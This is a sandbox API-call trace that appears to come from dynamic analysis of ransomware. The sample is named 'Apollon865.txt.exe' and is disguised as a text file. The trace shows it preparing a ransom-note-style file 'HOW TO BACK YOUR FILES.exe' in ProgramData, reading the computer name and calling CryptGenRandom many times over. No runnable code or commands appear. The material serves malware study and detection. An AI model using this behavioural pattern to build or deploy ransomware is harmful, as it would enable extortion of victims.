	[0029.926] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x1221220) returned 0x0
	[0029.927] GetStartupInfoW (in: lpStartupInfo=0x39f868 | out: lpStartupInfo=0x39f868*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Apollon865.txt.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) 
	[0029.927] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Apollon865.txt.exe\" "
	[0029.927] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Apollon865.txt.exe\" ", pNumArgs=0x39f878 | out: pNumArgs=0x39f878) returned 0x596df8*="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Apollon865.txt.exe"
	[0029.927] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Apollon865.txt.exe") returned 56
	[0029.927] lstrcatW (in: lpString1="", lpString2="Apollon865.txt.exe" | out: lpString1="Apollon865.txt.exe") returned="Apollon865.txt.exe"
	[0029.927] lstrcpynW (in: lpString1=0x126ef40, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Apollon865.txt.exe", iMaxLength=39 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	[0029.927] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	[0029.927] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\", lpString2="ids.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt"
	[0029.927] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x598030
	[0029.929] GetEnvironmentVariableW (in: lpName="allusersprofile", lpBuffer=0x126ed20, nSize=0x104 | out: lpBuffer="C:\\ProgramData") returned 0xe
	[0029.929] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0029.929] lstrcatW (in: lpString1="C:\\ProgramData\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe") returned="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe"
	[0029.929] GetComputerNameW (in: lpBuffer=0x1265ce0, nSize=0x39db60 | out: lpBuffer="XDUWTFONO", nSize=0x39db60) returned 1
	[0030.047] CryptAcquireContextW (in: phProv=0x39d5cc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d5cc*=0x596f40) returned 1
	[0030.205] CryptGenRandom (in: hProv=0x596f40, dwLen=0x80, pbBuffer=0x39d5e0 | out: pbBuffer=0x39d5e0) returned 1
	[0030.205] CryptReleaseContext (hProv=0x596f40, dwFlags=0x0) returned 1
	[0030.205] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x4) returned 0x596ea0
	[0030.205] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200) returned 0x5b7328
	[0030.205] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x80
	[0030.206] GetLastError () returned 0x0
	[0030.206] ReadFile (in: hFile=0x80, lpBuffer=0x598030, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x39db60, lpOverlapped=0x0 | out: lpBuffer=0x598030*, lpNumberOfBytesRead=0x39db60*=0x0, lpOverlapped=0x0) returned 1
	[0030.206] GetSystemTime (in: lpSystemTime=0x126f500 | out: lpSystemTime=0x126f500*(wYear=0x7e3, wMonth=0x9, wDayOfWeek=0x0, wDay=0x1, wHour=0x9, wMinute=0x27, wSecond=0x23, wMilliseconds=0x27a)) 
	[0030.206] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x4) returned 0x596eb0
	[0030.206] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x596ec0
	[0030.206] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.207] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.207] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.207] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.207] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.207] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.208] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.208] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.208] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.208] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.209] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.209] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.209] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.210] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.210] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.210] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.211] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.211] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.211] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.211] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.211] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.212] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.212] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.212] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.212] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.213] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.213] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.213] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.214] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.214] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.214] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.215] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.215] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.215] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.215] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.215] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.216] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.216] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.216] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.216] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.217] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.217] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.217] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.218] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.218] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.218] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.219] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.219] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.282] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.283] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.283] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.283] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.283] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.283] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.284] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.284] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.284] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.284] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.285] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.285] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.285] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.286] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.286] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.286] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.287] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.287] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.287] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.287] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.288] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.288] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.288] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.288] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.288] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.289] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.289] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.289] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.290] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.290] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.290] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.291] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.291] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.291] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.291] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.292] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.292] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.292] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.292] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.292] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.293] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.293] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.293] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.294] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.294] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.294] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.295] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.295] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.351] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.352] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.352] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.352] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.353] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.353] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.353] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.354] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.354] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.354] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.354] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.354] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.355] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.355] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.355] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.355] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.356] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.356] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.356] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.357] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.357] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.357] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.358] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.358] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.358] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.359] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.359] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.359] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.359] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.360] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.360] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.360] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.360] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.360] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.361] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.361] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.361] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.362] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.362] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.362] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.363] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.363] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.363] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.363] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.364] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.364] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.364] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.364] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.428] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.429] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.429] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.429] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.430] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.430] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.430] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.431] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.431] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.431] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.431] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.431] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.432] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.432] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.432] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.432] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.433] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.433] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.433] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.434] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.434] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.434] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.435] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.435] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
	[0030.435] CryptAcquireContextW (in: phProv=0x39d4ec, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x39d4ec*=0x5b6c38) returned 1
	[0030.435] CryptGenRandom (in: hProv=0x5b6c38, dwLen=0x80, pbBuffer=0x39d500 | out: pbBuffer=0x39d500) returned 1
	[0030.435] CryptReleaseContext (hProv=0x5b6c38, dwFlags=0x0) returned 1
